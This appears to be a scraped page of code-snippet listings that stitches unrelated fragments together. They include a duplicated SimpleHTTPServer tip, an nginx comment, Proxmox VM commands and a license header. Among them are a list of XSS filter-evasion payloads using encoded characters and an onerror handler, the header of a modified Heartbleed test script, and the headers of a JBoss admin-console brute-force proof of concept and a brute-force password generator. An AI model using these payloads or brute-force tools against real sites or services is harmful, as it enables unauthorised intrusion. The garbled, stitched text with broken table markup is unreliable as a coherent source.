Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| <script\x20type="text/javascript">javascript:alert(1);</script> | |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
| <script\x09type="text/javascript">javascript:alert(1);</script> | |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> | |
| '`"><\x3Cscript>javascript:alert(1)</script> | |
| '`"><\x00script>javascript:alert(1)</script> | |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.
Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.
You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.
| #!/bin/bash | |
| # The MIT License (MIT) | |
| # | |
| # Copyright (c) 2014 Christian Koepp <christian.koepp@tum.de> | |
| # | |
| # Permission is hereby granted, free of charge, to any person obtaining a copy | |
| # of this software and associated documentation files (the 'Software'), to deal | |
| # in the Software without restriction, including without limitation the rights | |
| # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell |
| pvesh create /nodes/kvm01/storage/local/content -filename vm-101-disk-0.qcow2 -format qcow2 -size 32G -vmid 101 | |
| pvesh create /nodes/kvm01/qemu -vmid 101 -memory 2048 -sockets 1 -cores 4 -net0 e1000,bridge=vmbr0 -net1 e1000,bridge=vmbr1 -ide0=local:101/vm-101-disk-0.qcow2 -ide2 local:iso/CentOS-6.5-x86_64-minimal.iso,media=cdrom | |
| pvesh create /nodes/kvm01/qemu/101/status/start |
| #!/usr/bin/python | |
| # Modified by Travis Lee | |
| # Last Updated: 4/21/14 | |
| # Version 1.16 | |
| # | |
| # -changed output to display text only instead of hexdump and made it easier to read | |
| # -added option to specify number of times to connect to server (to get more data) | |
| # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... | |
| # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) |
I hereby claim:
To claim this, I am signing this object:
| """ | |
| Bruteforce JBoss EAP Admin Console 1.3.4.SP6 (r999) | |
| Author: @itsecurityco | |
| Use: python bruteforce(PoC).py ip:port wordlist | |
| """ | |
| import re | |
| import sys | |
| import urllib | |
| import requests |
| """ | |
| Bruteforce Password Generator | |
| Author: @itsecurityco | |
| Use: python BrutePWGen.py --merge-words --h4x0r keywords.txt | |
| """ | |
| import sys | |
| from time import time | |
| class wgen: |